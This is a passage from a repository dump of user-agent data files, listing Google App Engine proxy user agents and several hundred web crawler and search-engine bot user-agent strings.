Browser/WebKit533.1 Profile/MIDP-1.0 Configuration/CLDC-1.0 20 | Opera/9.80 (Android 4.0.4; Linux; Opera Mobi/ADR-1301080958) Presto/2.11.355 Version/12.10 21 | -------------------------------------------------------------------------------- /useragents/cloudplatforms.txt: -------------------------------------------------------------------------------- 1 | AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex) 2 | AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace) 3 | AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy) 4 | AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs) 5 | AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k) 6 | AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan) 7 | AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr) 8 | AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication) 9 | AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout) 10 | AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23) 11 | AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver) 12 | AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k) 13 | -------------------------------------------------------------------------------- /useragents/crawlers.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620 2 | ABACHOBot 3 | Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com) 4 | Accoona-AI-Agent/1.1.2 5 | Accoona-AI-Agent/1.1.1 (crawler at accoona dot com) 6 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com 7 | Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html) 8 | Mozilla/4.0 (compatible; Arachmo) 9 | Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T) 10 | Baiduspider+(+http://www.baidu.com/search/spider_jp.html) 11 | Baiduspider+(+http://www.baidu.com/search/spider.htm) 12 | BaiDuSpider 13 | Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html) 14 | Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html) 15 | Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/ 16 | BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/) 17 | Bimbot/1.0 18 | Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) 19 | Mozilla/5.0 (compatible; bingbot/2.0 +http://www.bing.com/bingbot.htm) 20 | Mozilla/4.0 (compatible; BlitzBot) 21 | BlitzBOT@tricus.net (Mozilla compatible) 22 | BlitzBOT@tricus.com (Mozilla compatible) 23 | boitho.com-dc/0.85 ( http://www.boitho.com/dcbot.html ) 24 | boitho.com-dc/0.83 ( http://www.boitho.com/dcbot.html ) 25 | boitho.com-dc/0.82 ( http://www.boitho.com/dcbot.html ) 26 | boitho.com-dc/0.81 ( http://www.boitho.com/dcbot.html ) 27 | boitho.com-dc/0.79 ( http://www.boitho.com/dcbot.html ) 28 | boitho.com-robot/1.1 29 | boitho.com-robot/1.0 30 | btbot/0.4 (+http://www.btbot.com/btbot.html) 31 | CatchBot/2.0; +http://www.catchbot.com 32 | CatchBot/1.0; +http://www.catchbot.com 33 | CatchBot/1.0; http://www.catchbot.com 34 | Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-1) 35 | Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0) 36 | Mozilla/5.0 (compatible; Charlotte/1.1; http://www.searchme.com/support/) 37 | Mozilla/5.0 (compatible; Charlotte/1.0t; http://www.searchme.com/support/) 38 | Mozilla/5.0 (compatible; Charlotte/1.0b; http://www.searchme.com/support/) 39 | Mozilla/5.0 (compatible; Charlotte/1.0b; http://www.betaspider.com/) 40 | Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20080109 (Charlotte/0.9t; http://www.searchme.com/support/) (Charlotte/0.9t; http://www.searchme.com/support/) 41 | Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20080109 (Charlotte/0.9t; http://www.searchme.com/support/) 42 | Mozilla/5.0 (compatible; Charlotte/0.9t; http://www.searchme.com/support/) 43 | Mozilla/5.0 (compatible; Charlotte/0.9t; +http://www.searchme.com/support/) 44 | ConveraCrawler/0.9e (+http://ews.converasearch.com/crawl.htm) 45 | ConveraCrawler/0.9d (+http://www.authoritativeweb.com/crawl) 46 | ConveraCrawler/0.9d ( http://www.authoritativeweb.com/crawl) 47 | ConveraCrawler/0.9 (+http://www.authoritativeweb.com/crawl) 48 | cosmos/0.9_(robot@xyleme.com) 49 | Covario-IDS/1.0 (Covario; http://www.covario.com/ids; support at covario dot com) 50 | DataparkSearch/4.37-23012006 ( http://www.dataparksearch.org/) 51 | DataparkSearch/4.36 ( http://www.dataparksearch.org/) 52 | DataparkSearch/4.35-02122005 ( http://www.dataparksearch.org/) 53 | DataparkSearch/4.35 ( http://www.dataparksearch.org/) 54 | DiamondBot 55 | Mozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/discobot.html) 56 | Mozilla/5.0 (compatible; DotBot/1.1; http://www.dotnetdotcom.org/, crawler@dotnetdotcom.org) 57 | DotBot/1.0.1 (http://www.dotnetdotcom.org/#info, crawler@dotnetdotcom.org) 58 | EmeraldShield.com WebBot (http://www.emeraldshield.com/webbot.aspx) 59 | envolk[ITS]spider/1.6 (+http://www.envolk.com/envolkspider.html) 60 | envolk[ITS]spider/1.6 ( http://www.envolk.com/envolkspider.html) 61 | EsperanzaBot(+http://www.esperanza.to/bot/) 62 | Exabot/2.0 63 | FAST Enterprise Crawler 6 used by Schibsted (webcrawl@schibstedsok.no) 64 | FAST Enterprise Crawler 6 / Scirus scirus-crawler@fast.no; http://www.scirus.com/srsapp/contactus/ 65 | FAST Enteprise Crawler/6 (www dot fastsearch dot com) 66 | FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp) 67 | FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp) 68 | FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp) 69 | FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp) 70 | FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp) 71 | FAST-WebCrawler/3.6 72 | FAST-WebCrawler/3.x Multimedia (mm dash crawler at fast dot no) 73 | FAST-WebCrawler/3.x Multimedia 74 | Mozilla/4.0 (compatible: FDSE robot) 75 | findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/) 76 | findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/) 77 | findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/) 78 | findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/) 79 | findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/) 80 | findlinks/1.1.4-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/) 81 | findlinks/1.1.3-beta9 (+http://wortschatz.uni-leipzig.de/findlinks/) 82 | findlinks/1.1.3-beta8 (+http://wortschatz.uni-leipzig.de/findlinks/) 83 | findlinks/1.1.3-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/) 84 | findlinks/1.1.3-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/) 85 | findlinks/1.1.3-beta2 (+http://wortschatz.uni-leipzig.de/findlinks/) 86 | findlinks/1.1.3-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/) 87 | findlinks/1.1.2-a5 (+http://wortschatz.uni-leipzig.de/findlinks/) 88 | findlinks/1.1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/) 89 | findlinks/1.1.1-a1 (+http://wortschatz.uni-leipzig.de/findlinks/) 90 | findlinks/1.1.1 (+http://wortschatz.uni-leipzig.de/findlinks/) 91 | findlinks/1.1-a9 (+http://wortschatz.uni-leipzig.de/findlinks/) 92 | findlinks/1.1-a8 (+http://wortschatz.uni-leipzig.de/findlinks/) 93 | findlinks/1.1-a8 ( http://wortschatz.uni-leipzig.de/findlinks/) 94 | findlinks/1.1-a7 (+http://wortschatz.uni-leipzig.de/findlinks/) 95 | findlinks/1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/) 96 | findlinks/1.1-a4 (+http://wortschatz.uni-leipzig.de/findlinks/) 97 | findlinks/1.1-a3 (+http://wortschatz.uni-leipzig.de/findlinks/) 98 | findlinks/1.1 (+http://wortschatz.uni-leipzig.de/findlinks/) 99 | findlinks/1.06 (+http://wortschatz.uni-leipzig.de/findlinks/) 100 | findlinks/1.0.9 (+http://wortschatz.uni-leipzig.de/findlinks/) 101 | findlinks/1.0.8 (+http://wortschatz.uni-leipzig.de/findlinks/) 102 | findlinks/1.0 (+http://wortschatz.uni-leipzig.de/findlinks/) 103 | Mozilla/4.0 compatible FurlBot/Furl Search 2.0 (FurlBot; http://www.furl.net; wn.furlbot@looksmart.net) 104 | FyberSpider (+http://www.fybersearch.com/fyberspider.php) 105 | FyberSpider 106 | g2Crawler nobody@airmail.net 107 | Gaisbot/3.0+(robot06@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php) 108 | Gaisbot/3.0+(robot05@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php) 109 | Gaisbot/3.0 (jerry_wu@openfind.com.tw; http://gais.cs.ccu.edu.tw/robot.php) 110 | GalaxyBot/1.0 (http://www.galaxy.com/galaxybot.html) 111 | genieBot (http://64.5.245.11/faq/faq.html) 112 | genieBot ((http://64.5.245.11/faq/faq.html)) 113 | Gigabot/3.0 (http://www.gigablast.com/spider.html) 114 | Gigabot/2.0/gigablast.com/spider.html 115 | Gigabot/2.0 (http://www.gigablast.com/spider.html) 116 | Gigabot/2.0 117 | Gigabot/1.0 118 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; Girafabot [girafa.com]) 119 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Girafabot; girafabot at girafa dot com; http://www.girafa.com) 120 | Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at girafa dot com; http://www.girafa.com) 121 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 122 | Googlebot/2.1 (+http://www.googlebot.com/bot.html) 123 | Googlebot/2.1 (+http://www.google.com/bot.html) 124 | Googlebot-Image/1.0 125 | Mozilla/5.0 GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html) 126 | Mozilla/5.0 GurujiBot/1.0 ( http://www.guruji.com/en/WebmasterFAQ.html) 127 | Mozilla/5.0 (compatible; GurujiBot/1.0; +http://www.guruji.com/en/WebmasterFAQ.html) 128 | GurujiBot/1.0 (+http://www.guruji.com/WebmasterFAQ.html) 129 | GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html) 130 | HappyFunBot/1.1 ( http://www.happyfunsearch.com/bot.html) 131 | hl_ftien_spider_v1.1 132 | hl_ftien_spider 133 | holmes/3.9 (someurl.co.cc) 134 | holmes/3.12.4 (http://morfeo.centrum.cz/bot) 135 | holmes/3.12.3 (http://morfeo.centrum.cz/bot) 136 | holmes/3.12.2 (http://morfeo.centrum.cz/bot) 137 | holmes/3.12.1 (http://morfeo.centrum.cz/bot) 138 | htdig/3.1.6 (unconfigured@htdig.searchengine.maintainer) 139 | htdig/3.1.6 (mathieu.peltier@inrialpes.fr) 140 | htdig/3.1.5 (webmaster@online-medien.de) 141 | htdig/3.1.5 (root@localhost) 142 | htdig/3.1.5 (infosys@storm.rmi.org) 143 | htdig/3.1.5 144 | iaskspider/2.0(+http://iask.com/help/help_index.html) 145 | iaskspider 146 | ia_archiver/8.9 (Windows NT 3.1; en-US;) 147 | ia_archiver/8.9 (Windows 3.9; en-US;) 148 | ia_archiver/8.9 (Linux 1.0; en-US;) 149 | ia_archiver/8.8 (Windows XP 7.2; en-US;) 150 | ia_archiver/8.8 (Windows XP 3.0; en-US;) 151 | ia_archiver/8.2 (Windows 7.6; en-US;) 152 | ia_archiver/8.1 (Windows 2000 1.9; en-US;) 153 | ia_archiver/8.0 (Windows 2.4; en-US;) 154 | ia_archiver 155 | iCCrawler (http://www.iccenter.net/bot.htm) 156 | ichiro/4.0 (http://help.goo.ne.jp/door/crawler.html) 157 | ichiro/3.0 (http://help.goo.ne.jp/door/crawler.html) 158 | ichiro/2.0+(http://help.goo.ne.jp/door/crawler.html) 159 | ichiro/2.0 (ichiro@nttr.co.jp) 160 | ichiro/2.0 (http://help.goo.ne.jp/door/crawler.html) 161 | igdeSpyder (compatible; igde.ru; +http://igde.ru/doc/tech.html) 162 | IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler/) 163 | IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler) 164 | IRLbot/2.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler) 165 | IRLbot/2.0 (+http://irl.cs.tamu.edu/crawler) 166 | IRLbot/2.0 ( http://irl.cs.tamu.edu/crawler) 167 | IssueCrawler 168 | Jaxified Bot (+http://www.jaxified.com/crawler/) 169 | Jyxobot/1 170 | Mozilla/5.0 (compatible; KoepaBot BETA; http://www.koepa.nl/bot.html) 171 | L.webis/0.87 (http://webalgo.iit.cnr.it/index.php?pg=lwebis) 172 | LapozzBot/1.4 (+http://robot.lapozz.com) 173 | Mozilla/5.0 larbin@unspecified.mail 174 | larbin_2.6.3 zumesun@hotmail.com 175 | larbin_2.6.3 tangyi858@163.com 176 | larbin_2.6.3 ltaa_web_crawler@groupes.epfl.ch 177 | larbin_2.6.3 larbin2.6.3@unspecified.mail 178 | larbin_2.6.3 gqnmgsp@ruc.edu.cn 179 | larbin_2.6.3 ghary@sohu.com 180 | larbin_2.6.3 capveg@cs.umd.edu 181 | larbin_2.6.3 (wgao@genieknows.com) 182 | larbin_2.6.3 (ltaa_web_crawler@groupes.epfl.ch) 183 | larbin_2.6.3 (larbin@behner.org) 184 | larbin_2.6.3 (larbin2.6.3@unspecified.mail) 185 | larbin_2.6.2 vitalbox1@hotmail.com 186 | larbin_2.6.2 pierre@micro-fun.ch 187 | larbin_2.6.2 listonATccDOTgatechDOTedu 188 | larbin_2.6.2 larbin@correa.org 189 | larbin_2.6.2 larbin2.6.2@unspecified.mail 190 | larbin_2.6.2 kalou@kalou.net 191 | larbin_2.6.2 dthunen@princeton.edu 192 | larbin_2.6.2 (vitalbox1@hotmail.com) 193 | larbin_2.6.2 (pierre@micro-fun.ch) 194 | larbin_2.6.2 (larbin@correa.org) 195 | larbin_2.6.2 (larbin2.6.2@unspecified.mail) 196 | larbin_2.6.1 larbin2.6.1@unspecified.mail 197 | larbin_2.5.0 (larbin2.5.0@unspecified.mail) 198 | larbin_xy250 larbin2.6.3@unspecified.mail 199 | larbin_test nobody@airmail.etn 200 | larbin_test (nobody@airmail.etn) 201 | LARBIN-EXPERIMENTAL efp@gmx.net 202 | ldspider (http://code.google.com/p/ldspider/wiki/Robots) 203 | LexxeBot/1.0 (lexxebot@lexxe.com) 204 | Linguee Bot (http://www.linguee.com/bot; bot@linguee.com) 205 | LinkWalker/2.0 206 | LinkWalker 207 | lmspider lmspider@scansoft.com 208 | lmspider (lmspider@scansoft.com) 209 | lwp-trivial/1.41 210 | lwp-trivial/1.38 211 | lwp-trivial/1.36 212 | lwp-trivial/1.35 213 | lwp-trivial/1.33 214 | http://www.mabontland.com 215 | magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net) 216 | Mediapartners-Google/2.1 217 | Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+) 218 | Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+) 219 | MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+) 220 | MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+) 221 | MJ12bot/v1.0.6 (http://majestic12.co.uk/bot.php?+) 222 | MJ12bot/v1.0.5 (http://majestic12.co.uk/bot.php?+) 223 | Mnogosearch-3.1.21 224 | mogimogi/1.0 225 | Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html) 226 | MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html) 227 | Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0 228 | Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com) 229 | Moreoverbot/5.00 (+http://www.moreover.com) 230 | Morning Paper 1.0 (robots.txt compliant!) 231 | msnbot/2.1 232 | msnbot/2.0b 233 | msnbot/1.1 (+http://search.msn.com/msnbot.htm) 234 | msnbot/1.1 235 | msnbot/1.0 (+http://search.msn.com/msnbot.htm) 236 | msnbot/0.9 (+http://search.msn.com/msnbot.htm) 237 | msnbot/0.11 ( http://search.msn.com/msnbot.htm) 238 | MSNBOT/0.1 (http://search.msn.com/msnbot.htm) 239 | MSRBOT (http://research.microsoft.com/research/sv/msrbot/) 240 | MSRBOT 241 | MVAClient 242 | Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html) 243 | Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html) 244 | NetResearchServer/4.0(loopimprovements.com/robot.html) 245 | NetResearchServer/3.5(loopimprovements.com/robot.html) 246 | NetResearchServer/2.8(loopimprovements.com/robot.html) 247 | NetResearchServer/2.7(loopimprovements.com/robot.html) 248 | NetResearchServer/2.5(loopimprovements.com/robot.html) 249 | NetResearchServer(http://www.look.com) 250 | Mozilla/5.0 (compatible; NetSeer crawler/2.0; +http://www.netseer.com/crawler.html; crawler@netseer.com) 251 | NewsGator/2.5 (http://www.newsgator.com; Microsoft Windows NT 5.1.2600.0; .NET CLR 1.1.4322.2032) 252 | NewsGator/2.0 Bot (http://www.newsgator.com) 253 | NG-Search/0.9.8 (http://www.ng-search.com) 254 | NG-Search/0.86 (+http://www.ng-search.com) 255 | NG-Search/0.86 ( http://www.ng-search.com) 256 | nicebot 257 | noxtrumbot/1.0 (crawler@noxtrum.com) 258 | Nusearch Spider (www.nusearch.com) 259 | nuSearch Spider (compatible; MSIE 4.01; Windows NT) 260 | NutchCVS/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) 261 | NutchCVS/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) 262 | NutchCVS/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) 263 | NutchCVS/0.7.1 (Nutch running at UW; http://crawlers.cs.washington.edu/; sycrawl@cs.washington.edu) 264 | NutchCVS/0.7 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) 265 | NutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net) 266 | NutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; jagdeepssandhu@hotmail.com) 267 | NutchCVS/0.05 (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net) 268 | Nymesis/1.0 (http://nymesis.com) 269 | Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; obot) 270 | oegp v. 1.3.0 271 | omgilibot/0.3 +http://www.omgili.com/Crawler.html 272 | omgilibot/0.3 http://www.omgili.com/Crawler.html 273 | OmniExplorer_Bot/6.70 (+http://www.omni-explorer.com) WorldIndexer 274 | OmniExplorer_Bot/6.65a (+http://www.omni-explorer.com) WorldIndexer 275 | OmniExplorer_Bot/6.63b (+http://www.omni-explorer.com) WorldIndexer 276 | OmniExplorer_Bot/6.62 (+http://www.omni-explorer.com) WorldIndexer 277 | OmniExplorer_Bot/6.60 (+http://www.omni-explorer.com) WorldIndexer 278 | OmniExplorer_Bot/6.47 (+http://www.omni-explorer.com) WorldIndexer 279 | OmniExplorer_Bot/5.91c (+http://www.omni-explorer.com) WorldIndexer 280 | OmniExplorer_Bot/5.28 (+http://www.omni-explorer.com) WorldIndexer 281 | OmniExplorer_Bot/5.25 (+http://www.omni-explorer.com) WorldIndexer 282 | OmniExplorer_Bot/5.20 (+http://www.omni-explorer.com) WorldIndexer 283 | OmniExplorer_Bot/5.01 (+http://www.omni-explorer.com) WorldIndexer 284 | OmniExplorer_Bot/4.80 (+http://www.omni-explorer.com) WorldIndexer 285 | OmniExplorer_Bot/4.32 (+http://www.omni-explorer.com) WorldIndexer 286 | OOZBOT/0.20 ( -- ; http://www.setooz.com/oozbot.html ; agentname at setooz dot_com ) 287 | OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; pvvpr at iiit dot ac dot in) 288 | Orbiter (+http://www.dailyorbit.com/bot.htm) 289 | PageBitesHyperBot/600 (http://www.pagebites.com/) 290 | Mozilla/5.0 (compatible; Peew/1.0; http://www.peew.de/crawler/) 291 | polybot 1.0 (http://cis.poly.edu/polybot/) 292 | Pompos/1.3 http://dir.com/pompos.html 293 | Pompos/1.2 http://pompos.iliad.fr 294 | Pompos/1.1 http://pompos.iliad.fr 295 | PostPost/1.0 (+http://postpo.st/crawlers) 296 | psbot/0.1 (+http://www.picsearch.com/bot.html) 297 | PycURL/7.23.1 298 | PycURL/7.19.7 299 | PycURL/7.19.5 300 | PycURL/7.19.3 301 | PycURL/7.19.0 302 | PycURL/7.18.2 303 | PycURL/7.18.0 304 | PycURL/7.16.4 305 | PycURL/7.15.5 306 | PycURL/7.13.2 307 | PycURL 308 | Qseero v1.0.0 309 | radian6_default_(www.radian6.com/crawler) 310 | RAMPyBot - www.giveRAMP.com/0.1 (RAMPyBot - www.giveRAMP.com; http://www.giveramp.com/bot.html; support@giveRAMP.com) 311 | RufusBot (Rufus Web Miner; http://64.124.122.252/feedback.html) 312 | SandCrawler - Compatibility Testing 313 | SBIder/0.8-dev (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html) 314 | Mozilla/5.0 (compatible; ScoutJet; http://www.scoutjet.com/) 315 | Scrubby/2.2 (http://www.scrubtheweb.com/) 316 | Mozilla/5.0 (compatible; Scrubby/2.2; +http://www.scrubtheweb.com/) 317 | Mozilla/5.0 (compatible; Scrubby/2.2; http://www.scrubtheweb.com/) 318 | Scrubby/2.1 (http://www.scrubtheweb.com/) 319 | Mozilla/5.0 (compatible; Scrubby/2.1; +http://www.scrubtheweb.com/abs/meta-check.html) 320 | SearchSight/2.0 (http://SearchSight.com/) 321 | Seekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.2 322 | Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/2.1 323 | Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/0.3 324 | Seekbot/1.0 (http://www.seekbot.net/bot.html) 325 | semanticdiscovery/0.1 326 | Sensis Web Crawler (search_comments\at\sensis\dot\com\dot\au) 327 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) SEOChat::Bot v1.1 328 | SeznamBot/2.0 (+http://fulltext.seznam.cz/) 329 | SeznamBot/2.0 (+http://fulltext.sblog.cz/robot/) 330 | Shim-Crawler(Mozilla-compatible; http://www.logos.ic.i.u-tokyo.ac.jp/crawler/; crawl@logos.ic.i.u-tokyo.ac.jp) 331 | Shim-Crawler 332 | ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot) 333 | Mozilla/4.0 (compatible: Shoula robot) 334 | silk/1.0 (+http://www.slider.com/silk.htm)/3.7 335 | Silk/1.0 336 | Mozilla/5.0 (compatible; SiteBot/0.1; +http://www.sitebot.org/robot/) 337 | Mozilla/5.0 (compatible; SiteBot/0.1; http://www.sitebot.org/robot/) 338 | Snappy/1.1 ( http://www.urltrends.com/ ) 339 | sogou spider 340 | Sosospider+(+http://help.soso.com/webspider.htm) 341 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/) 342 | Mozilla/5.0 (compatible; Speedy Spider; http://www.entireweb.com/about/search_tech/speedy_spider/) 343 | Speedy Spider (Entireweb; Beta/1.3; http://www.entireweb.com/about/search_tech/speedyspider/) 344 | Speedy Spider (Entireweb; Beta/1.2; http://www.entireweb.com/about/search_tech/speedyspider/) 345 | Speedy Spider (Entireweb; Beta/1.1; http://www.entireweb.com/about/search_tech/speedyspider/) 346 | Speedy Spider (Entireweb; Beta/1.0; http://www.entireweb.com/about/search_tech/speedyspider/) 347 | Speedy Spider (Beta/1.0; www.entireweb.com) 348 | Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/) 349 | Speedy Spider (http://www.entireweb.com/about/search_tech/speedyspider/) 350 | Speedy Spider (http://www.entireweb.com) 351 | Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu) 352 | StackRambler/2.0 (MSIE incompatible) 353 | StackRambler/2.0 354 | Mozilla/5.0 (compatible; suggybot v0.01a, http://blog.suggy.com/was-ist-suggy/suggy-webcrawler/) 355 | SurveyBot/2.3+(Whois+Source) 356 | SurveyBot/2.3 (Whois Source) 357 | SynooBot/0.7.1 (SynooBot; http://www.synoo.de/bot.html; webmaster@synoo.com) 358 | Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html) 359 | Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml) 360 | Mozilla/2.0 (compatible; Ask Jeeves/Teoma) 361 | TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html) 362 | TheSuBot/0.2 (www.thesubot.de) 363 | TheSuBot/0.1 (www.thesubot.de) 364 | Thumbnail.CZ robot 1.1 (http://thumbnail.cz/why-no-robots-txt.html) 365 | TinEye/1.1 (http://tineye.com/crawler.html) 366 | TinEye 367 | truwoGPS/1.0 (GNU/Linux; U; i686; en-US; +http://www.lan4lano.net/browser.html ) 368 | TurnitinBot/2.1 (http://www.turnitin.com/robot/crawlerinfo.html) 369 | TurnitinBot/2.0 http://www.turnitin.com/robot/crawlerinfo.html 370 | TurnitinBot/1.5 http://www.turnitin.com/robot/crawlerinfo.html 371 | TurnitinBot/1.5 (http://www.turnitin.com/robot/crawlerinfo.html) 372 | TurnitinBot/1.5 http://www.turnitin.com/robot/crawlerinfo.html 373 | TurnitinBot/1.5 (http://www.turnitin.com/robot/crawlerinfo.html) 374 | Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; http://tweetedtimes.com) 375 | TwengaBot 376 | updated/0.1-beta (updated; http://www.updated.com; updated@updated.com) 377 | Mozilla/5.0 (compatible; Urlfilebot/2.2; +http://urlfile.com/bot.html) 378 | Mozilla/4.0 (compatible; Vagabondo/4.0Beta; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.wise-guys.nl/) 379 | Mozilla/4.0 (compatible; Vagabondo/2.2; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/) 380 | Mozilla/5.0 (compatible; Vagabondo/2.1; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/) 381 | Mozilla/3.0 (Vagabondo/2.0 MT; webcrawler@NOSPAMexperimental.net; http://aanmelden.ilse.nl/?aanmeld_mode=webhints) 382 | Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA 1.2 (http://www.voila.com/) 383 | Vortex/2.2 (+http://marty.anstey.ca/robots/vortex/) 384 | Vortex/2.2 ( http://marty.anstey.ca/robots/vortex/) 385 | VORTEX/1.2 ( http://marty.anstey.ca/robots/vortex/) 386 | voyager/2.0 (http://www.kosmix.com/crawler.html) 387 | voyager/1.0 388 | VYU2 (GNU; OpenRISC) 389 | webcollage/1.93 390 | webcollage/1.129 391 | webcollage/1.125 392 | webcollage/1.117 393 | webcollage/1.114 394 | Websquash.com (Add url robot) 395 | http://www.almaden.ibm.com/cs/crawler [wf84] 396 | WoFindeIch Robot 1.0(+http://www.search.wofindeich.com/robot.php) 397 | WoFindeIch Robot 1.0( http://www.search.wofindeich.com/robot.php) 398 | WomlpeFactory/0.1 (+http://www.Womple.com/bot.html) 399 | Xaldon_WebSpider/2.0.b1 400 | Xaldon_WebSpider/2.0.b1 401 | yacybot (x86 Windows XP 5.1; java 1.6.0_12; Europe/de) http://yacy.net/bot.html 402 | yacybot (x86 Windows XP 5.1; java 1.6.0_11; Europe/de) http://yacy.net/bot.html 403 | yacybot (x86 Windows XP 5.1; java 1.6.0; Europe/de) http://yacy.net/yacy/bot.html 404 | yacybot (x86 Windows 2000 5.0; java 1.6.0_16; Europe/de) http://yacy.net/bot.html 405 | yacybot (ppc Mac OS X 10.5.2; java 1.5.0_13; Europe/de) http://yacy.net/bot.html 406 | yacybot (ppc Mac OS X 10.4.10; java 1.5.0_07; Europe/de) http://yacy.net/bot.html 407 | yacybot (i386 Mac OS X 10.5.7; java 1.5.0_16; Europe/de) http://yacy.net/bot.html 408 | yacybot (i386 Linux 2.6.9-023stab046.2-smp; java 1.6.0_05; Europe/en) http://yacy.net/bot.html 409 | yacybot (i386 Linux 2.6.8-022stab070.5-enterprise; java 1.4.2-03; Europe/en) yacy.net 410 | yacybot (i386 Linux 2.6.31-16-generic; java 1.6.0_15; 